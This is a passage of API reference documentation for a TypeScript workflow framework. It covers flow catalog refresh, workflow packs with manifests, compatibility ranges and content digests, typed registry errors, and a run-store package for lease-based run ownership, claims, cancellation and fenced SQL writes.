`Refreshed` has four cases because a caller that cannot tell them apart cannot
say anything honest about the flow afterwards: `Registered` (runnable now),
`Refused` (this host will not run it, with the code and the delegate it
wanted), `Removed` (discovery no longer finds it), and `Fixed` (this host
holds that entry and left the catalog alone).

`refreshable` is what answers `Fixed`. A host serving part of its catalog out
of its own measured bundle answers `false` for those entries: their bytes are
the image it was shipped as, and rebuilding one from the working tree would
replace an admitted declaration with whatever is on disk. Every flow is
refreshable by default.

The default loader writes the verified bytes to a private sibling of the
source file, named by their content digest, and imports that, so new bytes
are a new module specifier and the ESM cache cannot answer with the previous
body. The sibling is created exclusively, so a name another writer already
holds costs the load one attempt and is never written through.

### Executable.layerRefreshable

```ts
const layerRefreshable: (built: Catalog, options: RefreshOptions) => Layer.Layer<
  Catalog | Refresh,
  never,
  Registry.Registry | FileSystem.FileSystem | Path.Path | Registration
>
```

Serves a catalog the host already built, and keeps one entry rebuildable.
`layer` is this plus the initial registrations, and is what a host with no
catalog of its own wants. Reach for this one when the host assembles the
catalog itself (several sources, or a loader per source) and registers the
result its own way: it adds the live `Catalog` and the `Refresh` beside it
without registering anything twice.

### Executable.Registration

```ts
type Registration = FlowRuntime | Action.Implementations | Crypto.Crypto
```

What a registration layer still needs from its host: the flow runtime it
registers with, the action implementation table a bridged dispatch resolves
through, and the `Crypto` the bridge derives its delegate's child execution id
with.

### Executable.fileSpecifier

```ts
const fileSpecifier: (path: string) => string
```

A `file:` specifier for an absolute filesystem path, following
`pathToFileURL`'s escaping. It is written by hand rather than with `node:url`
so a package importing this conversion does not also require a Node builtin or
a bundler shim for one, and it is exported because `Options.load` receives a
path rather than a specifier.

A `#` or a `?` in a directory name is both a legal filename character and URL
syntax, and concatenating one unescaped truncates the specifier at it, so
`file:///a#b.ts` addresses `/a`. The loader then imports the wrong module, or
none, with nothing in the failure to say why.

### Executable.ExecutableError and ExecutableErrorCode

```ts
class ExecutableError {
  readonly _tag: "flows/registry/ExecutableError"
  readonly code:
    | "reserved_name"
    | "missing_delegate"
    | "ambiguous_delegate"
    | "load_timeout"
    | "body_unavailable"
    | "invalid_module"
    | "invalid_layer"
    | "missing_service"
    | "layer_failed"
  readonly flow: string
  readonly path?: string
  readonly delegate?: string
  readonly service?: string
  readonly available: ReadonlyArray<string>
  readonly message: string
  readonly cause?: unknown
}
```

A descriptor the bridge will not turn into a runnable flow. Hosts may also
report `reserved_name` for a repository entry that collides with a packaged
system name, before importing its module. `delegate` is
present whenever the refusal is about one named flow, and `available` lists the
delegates the host registered. That is the whole point of the type: the
engine's own unresolved-call defect names nothing, so an operator reading it
cannot tell which registration is missing.

`service` names a service missing during construction of a module's exported `layer`.
The optional export is built once in a scoped host context; see
[Module action implementations](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/registry/docs/guides/run-a-discovered-flow.md#module-action-implementations).

Each code, with its cause and its fix, is in
[Troubleshooting](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/registry/docs/troubleshooting.md).

## Pack

Workflow packs: a directory of flows with a manifest, a content address, and a
merge order. See [Load workflow packs](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/registry/docs/guides/load-packs.md).

`Discovery` already answers "what flows are in this directory". A pack adds the
three things a shareable directory needs and a bare directory cannot carry: a
name and version so a descriptor can say where it came from, a content address
so a lock file can pin exactly the bytes that were installed, and a
compatibility range so a pack written against a newer runtime is refused at
load rather than halfway through a run.

### Pack.Manifest, Pack.Requires, Pack.Origin

```ts
class Manifest {
  readonly name: string // non-empty
  readonly version: string // non-empty
  readonly flows: ReadonlyArray<string>
  readonly skills?: ReadonlyArray<string>
  readonly requires?: Requires
}

const Requires: Schema.Struct<{ smithers: Schema.String }>
const Origin: Schema.Literals<["local", "installed"]>
```

The manifest as it is written in `pack.json`. `flows` and `skills` are
directory paths relative to the pack root, each scanned exactly the way an
ordinary registry source is. They are paths and not flow names on purpose: a
manifest that listed names would have to be re-edited every time a flow was
added, and the digest would then not change when one was.

Every path must be a safe pack-relative path: non-empty, with no `.` or `..`
segment, no NUL byte, no backslash, no leading `/`, and no drive prefix. The
schema refuses anything else.

`Requires` names only `smithers`. A pack is a set of flow declarations, and the
one thing that can make them unloadable is the runtime that reads them.

`Origin` decides a name collision. `local` is a pack the project owns, checked
in or linked into the working tree; `installed` is one a package manager or an
install verb put there. A local flow shadows an installed flow of the same
name, never the other way round.

### Pack.Installed and Pack.Scan

```ts
interface Installed {
  readonly manifest: Manifest
  readonly dir: string
  readonly origin: Origin
  readonly warnings?: ReadonlyArray<DiscoveryWarning> | undefined
}

interface Scan {
  readonly pack: Installed
  readonly entries: ReadonlyArray<FlowDescriptor>
  readonly warnings: ReadonlyArray<DiscoveryWarning>
}
```

One pack the host has decided to load, and where it came from. `dir` is the
pack root, and every manifest path is resolved against it. `Scan` is one pack's
scan, ready for `merge`.

### Pack.read

```ts
const read: (
  fs: FileSystem.FileSystem,
  path: Path.Path,
  dir: string
) => Effect.Effect<
  {
    readonly manifest: Manifest
    readonly dir: string
    readonly warnings: ReadonlyArray<DiscoveryWarning>
  },
  RegistryError
>
```

Reads and decodes one pack's `pack.json`. A manifest that is missing,
unparseable, or incomplete fails `RegistryError { code: "invalid_pack" }` here
rather than producing a half-loaded registry: the manifest is what names the
pack in every descriptor's provenance, so there is nothing useful to do without
it. An unsafe `flows` or `skills` entry fails the same way, naming the entry.

`warnings` holds one `unknown_pack_key` per manifest key outside `name`,
`version`, `flows`, `skills`, and `requires`. Spread this result into an
`Installed` and add `origin` to carry them: a misspelled `requires` would
otherwise disable the compatibility gate in silence.

### Pack.sources

```ts
const sources: (
  pack: Installed,
  path: Path.Path
) => Effect.Effect<ReadonlyArray<Descriptor.Source>, RegistryError, FileSystem.FileSystem>
```

The registry sources one pack contributes, in manifest order. Every `flows` and
`skills` path becomes a path-named source with `confinementRoot` set to the
pack root. Discovery uses the same pipeline as project directories. `source`
carries `pack:<name>`, which is what a warning about a pack file reads back.

Lexical containment is always enforced. The pack root's real path must resolve,
or `sources` fails `invalid_pack`. A source must resolve inside it or not exist
yet (`NotFound`); any other `realPath` failure is refused. The defense
is repeated here because callers may construct an `Installed` value without
decoding a manifest first. Discovery repeats the real-path check for the
source root, every descended directory, and every selected entry file. Nested
directory and entry-file symlink escapes produce `outside_root` and contribute
no descriptor for body loading or executable catalog import. Links to other
locations inside the pack remain eligible. This is a discovery-time check,
not a sandbox for module imports or protection against concurrent filesystem
changes.

### Pack.checkCompatible, Pack.compatible

```ts
const compatible: (range: string, runtimeVersion: string) => boolean

const checkCompatible: (
  pack: Installed,
  path: Path.Path,
  runtimeVersion: string
) => Effect.Effect<void, RegistryError>
```

Whether a runtime version satisfies a pack's declared range. The supported
grammar is `*`, inclusive hyphen ranges, and whitespace-separated conjunctions
of bare, `=`, `>=`, `>`, `<=`, `<`, `^`, and `~` comparators. Whitespace may
separate an operator from its version. Versions have one to three numeric
components. As in npm, a partial version covers its omitted components: `1.2`
and `=1.2` accept any `1.2.x`, `>1.2` starts at `1.3.0`, `<=1.2` ends before
`1.3.0`, and `>=1.2` and `<1.2` read `1.2.0`. `x` components, `*` components,
and `||` unions are unreadable; only a standalone `*` is accepted.

`^` allows everything up to the next bump of the left-most non-zero field, so
`^1.2.0` accepts `1.9.0`, `^0.2.3` accepts `0.2.9` and refuses `0.9.0`, and
`^0.0.3` accepts only `0.0.3`. An omitted field is not pinned, so `^1` accepts
any `1.x`, `^0` any `0.x`, and `^0.0` any `0.0.x`. `~` pins the minor when it is
written, so `~1.2.0` accepts `1.2.9` and refuses `1.3.0`, while `~1` accepts
any `1.x`.

Prerelease and build suffixes are ignored on both sides, so a `1.0.0-rc.4`
runtime satisfies a range written against `1.0.0`. A pack's compatibility
question is about the release line, and comparing the prerelease tag as well
would refuse every release candidate from a range written against its own
release.

An unreadable range returns `false` from `compatible`, and fails
`unreadable_pack_range` from `checkCompatible`; a readable but unsatisfied one
fails `incompatible_pack`. The two codes are separate so an operator can tell a
dialect this runtime cannot parse from a pack that genuinely needs a newer one.
A pack with no `requires` passes. Both failures name the pack's manifest
through the `Path` service the caller passes, which is the one `Pack.read` and
`Pack.sources` use.

### Pack.digest and Pack.File

```ts
interface File {
  readonly path: string
  readonly contents: string
}

const digest: (manifest: Manifest, files: ReadonlyArray<File>) => string
```

The content address of one pack, as a lock file records it. The digest covers
the manifest and every file the caller measured, each by its own content hash
under a validated pack-relative path.

Entries are ordered by path and then by content digest, so no input ordering
can change the result. Two installs of the same bytes therefore produce the same
digest whatever order the files were read in, and editing one flow body changes
it. Duplicate paths are retained rather than collapsed.

File contents are UTF-8 text; measuring binary resources is outside this
contract, and measuring the files at all is the caller's job. An unsafe path
throws a `TypeError`.

### Pack.attribute

```ts
const attribute: (descriptor: FlowDescriptor, pack: Installed) => FlowDescriptor
```

Stamps a descriptor's `Provenance.pack` with the pack that supplied it, so a
catalog entry says which pack it came from.

### Pack.merge

```ts
const merge: (scans: ReadonlyArray<Scan>) => {
  readonly entries: ReadonlyArray<FlowDescriptor>
  readonly warnings: ReadonlyArray<DiscoveryWarning>
}
```

Merges scanned packs into one descriptor set, local packs first, each group
keeping the caller's own order. Every kept entry is stamped by `attribute`.

A name defined by more than one pack keeps the highest-precedence definition
and reports a `shadowed` warning naming both packs and versions, so an operator
can see which pack lost and why rather than discovering it from a flow that
behaves unexpectedly. A name one pack defines twice, for example under both
`flows` and `skills`, keeps that pack's first definition and reports a
`duplicate_name` warning naming the pack and the kept path.

## RegistryError

Typed failures, shaped after `effect`'s `PlatformError`. Codes are a stable
public contract: callers branch on them and interfaces map them to
remediation. A code is never repurposed; a new one is added.

### RegistryError.DiscoveryError

```ts
class DiscoveryError {
  readonly _tag: "flows/registry/DiscoveryError"
  readonly code: "root_missing" | "read_failed" | "invalid_root" | "unknown"
  readonly module?: string
  readonly method?: string
  readonly path?: string
  readonly message: string
  readonly cause?: unknown
}
```

A failure while discovering entries in one registry source.

### RegistryError.RegistryError

```ts
class RegistryError {
  readonly _tag: "flows/registry/RegistryError"
  readonly code:
    | "not_found"
    | "system_collision"
    | "body_unavailable"
    | "execution_changed"
    | "not_prompt_flow"
    | "invalid_pack"
    | "incompatible_pack"
    | "unreadable_pack_range"
    | "unknown"
  readonly module?: string
  readonly method?: string
  readonly path?: string
  readonly message: string
  readonly cause?: unknown
}
```

A failure while constructing, looking up, loading, or rendering a registry
entry.

Both errors carry `module` and `method`, the operation that raised them, and
carry the offending `path` as a field rather than only inside the prose message
whenever the failure is about a file. A `DiscoveryError` always names its source
root; a `RegistryError` names no path for `not_found`, `system_collision`, and
`not_prompt_flow`, which are about a name rather than a file. Each code, with
its fields, its cause, and its fix, is in
[Troubleshooting](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/registry/docs/troubleshooting.md).

### RegistryError.RegistryFailure

```ts
type RegistryFailure = DiscoveryError | RegistryError
```

Every failure the registry layer is allowed to surface.

### RegistryError.discoveryError, RegistryError.registryError

```ts
const discoveryError: (options: {
  readonly code: DiscoveryErrorCode
  readonly module?: string | undefined
  readonly method: string
  readonly path?: string | undefined
  readonly description?: string | undefined
  readonly cause?: unknown
}) => DiscoveryError

const registryError: (options: {
  readonly code: RegistryErrorCode
  readonly module?: string | undefined
  readonly method: string
  readonly path?: string | undefined
  readonly description?: string | undefined
  readonly cause?: unknown
}) => RegistryError
```

The constructors. Each formats `message` as
`<code>: <module>.<method>: <description>`, so every failure reads the same way
whether a caller prints the message or branches on the fields. `module`
defaults to `Discovery` and `Registry` respectively.

## ExecutionSnapshot

`makeFileSystem({ root, store? })` and `layerFileSystem({ root, store? })` require
`FileSystem`, `Path`, and `Crypto`. The service captures those dependencies. By
default, blobs live in `.flows/objects` and atomic manifest indexes live in
`.flows/executions/<executionDigest>.json`.

`pin(executable)` persists its verified `source` at first admission. Merely
discovering or loading a catalog does not pin it. `descriptor(digest)` recovers
the approved metadata; `restore(digest)` returns that descriptor, entry path,
entry bytes, and the complete source module map including compiled source and
static import links. Both verify the manifest and project lockfile identity.

`roots(digests)` returns manifest and source blob addresses for nonterminal
executions. Lockfile drift does not remove these roots. Missing or corrupt
snapshots remain typed failures. `ExecutionSnapshotError.code` is `missing`,
`corrupt`, `lockfile_changed`, or `unavailable`.

Lockfiles removed during a read are measured as absent. Index read failures other
than absence report `unavailable` and retain the platform cause; malformed bytes
and identity failures report `corrupt`. Diagnostic messages omit host error details.

When the filesystem snapshot index is absent, `indexMissing` is `true`.
Source loading retains its original typed refusal in this case. A missing blob
behind an existing index retains the snapshot recovery diagnostic.

The manifest pins project source, while installed workspace packages remain
host code. Run the host from a pinned checkout.

---

# @smthrs/run-store
https://smithers.sh/docs/reference/api/run-store/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/run-store/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/run-store/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/run-store/docs)

> **Related APIs:** [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/database`](/docs/reference/api/database/) · [`@smthrs/journal`](/docs/reference/api/journal/) · [`@smthrs/observability`](/docs/reference/api/observability/)

`@smthrs/run-store` exports five namespaces from its root entry point, and each
is also importable from `@smthrs/run-store/<Module>`:

```ts
import { AttemptStore, Migrations, Ownership, RunStore, RunStoreMetrics } from "@smthrs/run-store"
// or
import * as RunStore from "@smthrs/run-store/RunStore"
```

Two subpaths are not namespaces of the root barrel:
`@smthrs/run-store/Heartbeat`, the lease-constant leaf, and
`@smthrs/run-store/test/TestRunStore`, which binds a Node database.
`@smthrs/run-store/package.json` is exported. `internal/*`, `migrations/*`, and
nested `*/index` are blocked in the export map and are not public API.

Services and tags are Effect constructs: a `Layer` provides a service, and an
effect reads it from context. `RunStore.layer` and `AttemptStore.layer` each
require a `SqlClient` and a `DurableWriter` from
[`@smthrs/database`](/docs/reference/api/database/).

## Example

```ts
import { RunStore } from "@smthrs/run-store"
const owner = { hostId: "worker-1", pid: process.pid, nonce: "9c31-af02" }
const program = Effect.gen(function*() {
  const runs = yield* RunStore.RunStore
  yield* runs.create("build-42", JSON.stringify({ step: "checkout" }))
  const taken = yield* runs.claimAndOwn(
    "build-42",
    { status: "pending", owner: null, heartbeatAtMs: null },
    owner,
    Date.now()
  )
  if (taken._tag === "Activated") yield* runs.transitionOwned("build-42", owner, "completed")
})
```

## Entry points

| Import                                | Source                                                                                                                                  | Platform |
| ------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------- | -------- |
| `@smthrs/run-store`                   | [src/index.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/run-store/src/index.ts)                         | any      |
| `@smthrs/run-store/Heartbeat`         | [src/Heartbeat.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/run-store/src/Heartbeat.ts)                 | any      |
| `@smthrs/run-store/test/TestRunStore` | [src/test/TestRunStore.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/run-store/src/test/TestRunStore.ts) | Node     |

The root is driver-neutral and browser-bundleable: nothing under it imports a
`node:` built-in.

## RunStore

One row per durable run: its status, its owner, its heartbeat, its cancellation
intent, and the executable state a resume re-enters.

### RunStore.RunStore

```ts
class RunStore extends Context.Service<RunStore, Service>()("@smthrs/run-store/RunStore")
```

The service tag. The identity string equals the defining module path.

### RunStore.Service

Fourteen operations. Every one validates its input first and fails with
`RunStoreError` on a defect; competition is reported as a success value.

#### create

```ts
const create: (runId: string, stateJson: string, options?: CreateOptions) => Effect<void, RunStoreError>
```

Inserts a `pending` row. `stateJson` is JSON text: it is parsed, bounded, and
stored as the caller's own bytes. `created_at_ms` is stamped from the Effect
`Clock`. A `runId` that begins with the journal's `companionPrefix` names a
companion stream and fails `invalid_run`.

#### get

```ts
const get: (runId: string) => Effect<RunRow, RunStoreError>
```

Reads one row and re-validates it. Fails with `not_found_row` when there is no
such run, and with `decode_failed` when the row breaks the durable invariants.
`latestRound` also reports a missing row as a failure.

#### lineage and latestRound

```ts
const lineage: (runId: string) => Effect<ReadonlyArray<RunRow>, RunStoreError>
const latestRound: (runId: string) => Effect<RunRow, RunStoreError>
```

Resolve trampoline membership from any existing round. `lineage` returns all
rounds in ordinal order, or an empty array for an unknown ID. `latestRound`
returns the highest ordinal using the lineage index, or `not_found_row`.
Pre-lineage roots with null lineage columns are included as round zero. A run
whose own ID equals the lineage ID joins only when its lineage columns are
null or it explicitly names that lineage, so a same-named run in an
independent lineage is excluded.
Fork ancestry in `parentRunId` does not join otherwise independent lineages.
These are individual snapshot reads; compose several reads with the owning
database transaction when they must describe one coherent state.

#### requestCancelLineage

```ts
const requestCancelLineage: (runId: string, nowMs: number) => Effect<RequestCancelOutcome, RunStoreError>
```

Records cancellation for every nonterminal round of the named logical run in
one write transaction: one guarded UPDATE over the lineage members, and on a
miss one read of their status and request columns. Cost follows the number of
rounds and never their state payloads, so a long settled history adds nothing.
A completed predecessor does not hide its live handoff successor. Existing
request times and completed-round history are unchanged.
Outcome precedence: `CancelRequested` if any round gets a new request;
otherwise `AlreadyRequested` with the latest live round's earlier request;
otherwise, with every round settled, `Terminal` with the latest round's status;
`NotFound` when no round exists. A live round without a request that the
UPDATE did not reach fails with `persistence_failed`, since the writer
serializes the transaction and no peer can clear the column mid-call.
This method does not traverse child ownership edges or interrupt local fibers;
the engine coordinates those operations.

#### requestCancel

```ts
const requestCancel: (runId: string, nowMs: number) => Effect<RequestCancelOutcome, RunStoreError>
```

Records unfenced cancellation intent for exactly one round that a later guarded transition observes.
Any observer may call it, and it is first-writer-wins, so a repeat reports the
original time. A settled run records nothing. The call is one guarded UPDATE
and, on a miss, one read of the status and request columns; it never retries,
because the durable writer serializes the whole call. `nowMs` is request data rather than
a lease predicate, so it is checked as a non-negative safe integer and not bound
by the skew allowance.

#### acknowledgeCancel

```ts
const acknowledgeCancel: (runId: string, owner: OwnerId, nowMs: number) => Effect<boolean, RunStoreError>
```

Records the first owner observation of cancellation intent under the running
owner fence. Returns false when the run is missing, not running, has no intent,
or belongs to another owner. Repeated acknowledgements preserve the original
owner and timestamp. This does not make the run terminal or prove cleanup ended.
Engine snapshots expose the record separately from request and finish.

#### withPermit

`withPermit(key, owner, isAlive, effect)` delegates named resource exclusion to
the store's existing consensus strategy. It shares its durable lease lifecycle
without creating a run or journal event. Its error channel includes
`ConsensusError`; cleanup releases ownership on success, failure or interruption.

#### claim

```ts
const claim: (
  runId: string,
  expected: RunSnapshot,
  claimant: OwnerId,
  nowMs: number
) => Effect<ClaimOutcome, RunStoreError>
```

Reserves an exact `pending` or `suspended` snapshot for a later `activate`.
`nowMs` becomes `claimed_at_ms` and is the token `activate` compares against.

#### claimAndOwn

```ts
const claimAndOwn: (
  runId: string,
  expected: RunSnapshot,
  owner: OwnerId,
  nowMs: number,
  evidence?: LivenessEvidence
) => Effect<ClaimAndOwnOutcome, RunStoreError>
```

Claims and activates in one compare-and-swap. It admits `pending`, `suspended`,
and `running` rows; replacing a different running owner additionally requires
matching evidence, whose `checkedAtMs` must equal `nowMs` exactly. `nowMs` is the
lease cutoff and the first heartbeat.

#### activate

```ts
const activate: (
  runId: string,
  claimant: OwnerId,
  claimedAtMs: number,
  expected: RunSnapshot
) => Effect<ActivateOutcome, RunStoreError>
```

Trades a held claim for ownership: sets `status = 'running'`, writes the owner
columns and the first heartbeat from the Effect `Clock`, stamps `started_at_ms`
if it is not already set, and clears the claim. `claimedAtMs` is the fence token
`claim` or `steal` returned.

#### abandonClaim

```ts
const abandonClaim: (
  runId: string,
  claimant: OwnerId,
  claimedAtMs: number
) => Effect<AbandonClaimOutcome, RunStoreError>
```

Releases a claim you hold, so a failed activation does not block the next
claimant until the claim goes stale.

#### recoverClaim

```ts
const recoverClaim: (
  runId: string,
  staleClaimant: OwnerId,
  claimedAtMs: number,
  observer: OwnerId,
  nowMs: number,
  evidence: LivenessEvidence
) => Effect<RecoverClaimOutcome, RunStoreError>
```

Clears an exact stale claim after matching its claimant and liveness evidence.
The claim must be older than `heartbeatStaleAfter` relative to `nowMs`.
`claimedAtMs` is compared against the row and is not bound by the skew allowance,
because the store issued it.

#### heartbeat

```ts
const heartbeat: (runId: string, owner: OwnerId, nowMs: number) => Effect<HeartbeatOutcome, RunStoreError>
const reconfirm: (runId: string, owner: OwnerId, nowMs: number) => Effect<HeartbeatOutcome, RunStoreError>
```

Renews the owner's lease. The write is `MAX(heartbeat_at_ms, nowMs)`, so a
reading behind the persisted stamp still reports `Updated` without moving the
lease backwards.

#### transitionOwned

```ts
const transitionOwned: (
  runId: string,
  owner: OwnerId,
  toStatus: RunStatus,
  stateJson?: string,
  guard?: TransitionGuard
) => Effect<TransitionOutcome, RunStoreError>
```

The only way to move a run you own. `running` keeps the owner and rewrites only
the state. `suspended` clears the owner, the heartbeat, and the claim and leaves
`finished_at_ms` null. `completed`, `failed`, and `cancelled` clear the same
columns and stamp `finished_at_ms`. `pending` fails with `invalid_run`. An
omitted `stateJson` leaves the column as recorded; a supplied one replaces it
whole. The guard is compiled into the same `UPDATE` as the ownership fence.

#### steal

```ts
const steal: (
  runId: string,
  expected: RunSnapshot,
  claimant: OwnerId,
  nowMs: number,
  evidence: LivenessEvidence
) => Effect<StealOutcome, RunStoreError>
```

Writes the claim columns of a stale `running` row after verifying evidence,
leaving status, owner, and heartbeat untouched so the same `expected` snapshot
activates. The write refuses any row whose `heartbeat_at_ms` is within
`heartbeatStaleAfter` of `nowMs`, and any row that already carries a claim.
`same-host-pid-dead` evidence about a pid other than the claimant's waives the
staleness check: the probe proved the owner's process gone, so the row is
taken at once. `claimAndOwn` applies the same rule.

### owned

```ts
interface Fence {
  readonly runId: string
  readonly stepKeyDigest: string
  readonly attempt: number
  readonly owner: OwnerId
}
interface OwnedOptions {
  readonly schema?: string | undefined
}
const owned: (sql: SqlClient.SqlClient, fence: Fence, options?: OwnedOptions) => Fragment
```

A boolean SQL condition that holds only while the fence is current: the run is
`running` under exactly the fenced owner, and the fenced attempt row in
`flows_attempts` is still `running`. An action adds it to its own `UPDATE` or
`DELETE`, so a write from an owner that lost the run to a takeover, or from an
attempt that has since settled, changes no row. Read the affected row count to
tell a refused write from a successful one.

`@smthrs/flow`'s `Action.CurrentFence` has the `Fence` shape; a durable engine
supplies it to every action body it runs.

```ts
const fence = yield * Action.CurrentFence
if (fence === undefined) return yield * Effect.die("this step needs a durable engine")
const rows = yield * sql`
  UPDATE messages SET text = ${text}
  WHERE id = ${id} AND ${RunStore.owned(sql, fence, { schema: "smithers_flows" })}
  RETURNING id
`
```

`schema` qualifies `flows_runs` and `flows_attempts` when the statement runs on
a client whose search path is not the engine's, such as an application client
over the same PostgreSQL database. Without it the names are unqualified.

On PostgreSQL the condition reads both rows `FOR SHARE`. A takeover or an
attempt settlement that updates either row waits for the fenced statement's
transaction, and the statement waits for theirs and then sees their result, so
a fenced write lands before the takeover or not at all. SQLite serializes
write transactions, which gives the same order without a row lock.

Every `RunStore` write that changes one run, and every `AttemptStore` write,
names that run's partition (`DurableWriter.WriteOptions`): on PostgreSQL it
waits only for that run's writers, and two runs write side by side.
`requestCancelLineage` changes every round of a lineage and names none
([Run writer locks](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/database/docs/decisions/0001-run-writer-locks.md)).

### RunStore models

#### RunStatus

```ts
const RunStatus: Schema.Literals<["pending", "running", "suspended", "completed", "failed", "cancelled"]>
type RunStatus = "pending" | "running" | "suspended" | "completed" | "failed" | "cancelled"
```

#### TerminalRunStatus and isTerminalRunStatus

```ts
const TerminalRunStatus: Schema.Literals<["completed", "failed", "cancelled"]>
type TerminalRunStatus = "completed" | "failed" | "cancelled"
const isTerminalRunStatus: (status: RunStatus) => status is TerminalRunStatus
```

The states a run never leaves. A settled run refuses new cancellation intent and
is never claimed, activated, or swept.

#### RunSnapshot

```ts
interface RunSnapshot {
  readonly status: RunStatus
  readonly owner: OwnerId | null
  readonly heartbeatAtMs: number | null
}
```

The triple every claim guards. `running` requires both an owner and a
heartbeat; every other status requires neither. Admission is structural: the
store reads only these three fields as own enumerable data properties and
copies them, so a `RunRow` from `get` passes directly as `expected`. Other own
data fields are ignored. A non-plain prototype, an enumerable accessor on any
key, or a missing or inherited required field is refused as invalid input.

#### RunRow

```ts
interface RunRow extends RunSnapshot {
  readonly runId: string
  readonly createdAtMs: number
  readonly startedAtMs: number | null
  readonly finishedAtMs: number | null
  readonly claim: OwnerId | null
  readonly claimedAtMs: number | null
  readonly parentRunId: string | null
  readonly cancelRequestedAtMs: number | null
  readonly lineageId?: string | null | undefined
  readonly roundOrdinal?: number | null | undefined
  readonly stateJson: string
}
```

A decoded `flows_runs` row, frozen. `lineageId` and `roundOrdinal` are optional
on the interface because they arrived in an append-only migration, so a
hand-built row still compiles.

#### CreateOptions

```ts
interface CreateOptions {
  readonly parentRunId?: string | undefined
  readonly lineageId?: string | undefined
  readonly roundOrdinal?: number | undefined
}
```

`parentRunId` is the ancestry edge a fork, rewind, child, or trampoline round
carries. It is a column rather than a state field because ancestry is walked in
SQL, and it is a foreign key, so the parent must exist. `lineageId` and
`roundOrdinal` name the trampoline lineage; both absent reads back as round 0 of
a lineage of one.

#### TransitionGuard

```ts
const TransitionGuard: Schema.Struct<{ cancelRequested: Schema.optional<Schema.Literals<["absent", "present"]>> }>
type TransitionGuard = { readonly cancelRequested?: "absent" | "present" }
```

An extra compare-and-swap predicate over first-class run metadata, compiled into
the transition's own `UPDATE`.

### RunStore outcomes

Every tag below is a success value. Union members carrying data are noted.

| Type                   | Tags                                                                                                         |
| ---------------------- | ------------------------------------------------------------------------------------------------------------ |
| `RequestCancelOutcome` | `CancelRequested { requestedAtMs }`, `AlreadyRequested { requestedAtMs }`, `NotFound`, `Terminal { status }` |
| `ClaimOutcome`         | `Claimed { claimedAtMs }`, `NotFound`, `AlreadyClaimed`, `HeartbeatFresh`, `SnapshotChanged`                 |
| `StealOutcome`         | `ClaimOutcome` plus `LivenessUnconfirmed`                                                                    |
| `ClaimAndOwnOutcome`   | `Activated`, `NotFound`, `AlreadyClaimed`, `HeartbeatFresh`, `SnapshotChanged`, `EvidenceRequired`           |
| `ActivateOutcome`      | `Activated`, `ClaimLost`, `SnapshotChanged`                                                                  |
| `AbandonClaimOutcome`  | `Abandoned`, `ClaimLost`                                                                                     |
| `RecoverClaimOutcome`  | `Recovered`, `NotFound`, `ClaimFresh`, `ClaimChanged`, `LivenessUnconfirmed`                                 |
| `HeartbeatOutcome`     | `Updated`, `FenceLost`, `NotFound`                                                                           |
| `TransitionOutcome`    | `Transitioned`, `FenceLost`, `NotFound`, `GuardFailed`                                                       |

`LivenessUnconfirmed` means the evidence did not match, so no compare-and-swap
ran. `SnapshotChanged` is reserved for matching evidence whose comparison lost to
a row that moved. `EvidenceRequired` means the snapshot is current, its different
owner is stale, and no evidence was supplied: retrying cannot help.
`GuardFailed` means you own the run and the guard refused the write. What to do
about each is in [Troubleshooting](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/run-store/docs/troubleshooting.md).

### RunStore errors

```ts
const RunStoreErrorCode: Schema.Literals<
  ["invalid_run", "not_found_row", "constraint", "decode_failed", "persistence_failed"]
>

class RunStoreError extends Schema.TaggedError<RunStoreError>()("@smthrs/run-store/RunStoreError", {
  code: RunStoreErrorCode
  method: Schema.String
  message: Schema.String
  cause: Schema.Unknown
})
```

`message` is prefixed with the code and the method, as in
`invalid_run: RunStore.claim: run input is invalid`. `cause` carries field names,
lengths, and validity flags, never the value that failed.

### RunStore constants

| Constant              | Value   | Bounds                |
| --------------------- | ------- | --------------------- |
| `maximumRunJsonDepth` | 128     | Executable run state. |
| `maximumRunJsonNodes` | 100,000 | Executable run state. |

Run state has no byte ceiling by design: it is what a resume re-enters, so a
large state has to persist.

### Ownership transitions

```ts
const OwnershipTransition: Schema<"claimed" | "activated" | "released" | "stolen" | "expired">
const ownershipEventType: (transition: OwnershipTransition) => string // "flows.consensus.<transition>"
const companionStream: string // "run-store"
```

Every transition the consensus strategy grants is appended as a
`flows.consensus.<transition>` fact, with payload `{ runId, owner,
grantedAtMs }`, to the run's companion stream
`JournalEvent.companionRunId(companionStream, runId)`, in the transaction that
made it. `claim` records `claimed`; `activate` records `activated`, or
`released` when the snapshot moved on; `claimAndOwn` records `claimed` or
`stolen` and then `activated`, with a `released` first when an owner re-owns
its own stale run; `steal` records `stolen`; `abandonClaim` and an owner's
non-running `transitionOwned` record `released`, and that `transitionOwned`
records a second `released` for a steal claim still pending on the run;
`recoverClaim` records
`expired`. A refused operation and a heartbeat record nothing, and a
rolled-back transaction leaves no fact.

The facts sit beside the run's own stream, so a consumer that reads that stream
by position never sees one. They are recorded when the caller runs with a
`Journal` in its context, which the ordinary composition
(`Layer.mergeAll(SqlJournal.layer(...), RunStore.layer)`) provides.

### RunStore constructors and layers

```ts
const make: Effect<Service, never, DurableWriter | SqlClient.SqlClient>
const makeNoop: (overrides?: Partial<Service>) => Service
const layer: Layer<RunStore, never, DurableWriter | SqlClient.SqlClient>
const layerNoop: (overrides?: Partial<Service>) => Layer<RunStore>
```

`makeNoop` is an explicit absence: `create` and `get` fail with
`persistence_failed`, and every compare-and-swap reports a loss, `NotFound` or
`ClaimLost` for `activate` and `abandonClaim`.

## AttemptStore

One row per step attempt, addressed by `(runId, stepKeyDigest, attempt)`. Every
write is fenced on the run being `running` under the caller's owner; there is no
unfenced write surface.

### AttemptStore.AttemptStore

```ts
class AttemptStore extends Context.Service<AttemptStore, Service>()("@smthrs/run-store/AttemptStore")
```

### AttemptStore.Service

#### put

```ts
const put: (attempt: Attempt, owner: OwnerId) => Effect<PutResult, AttemptStoreError>
```

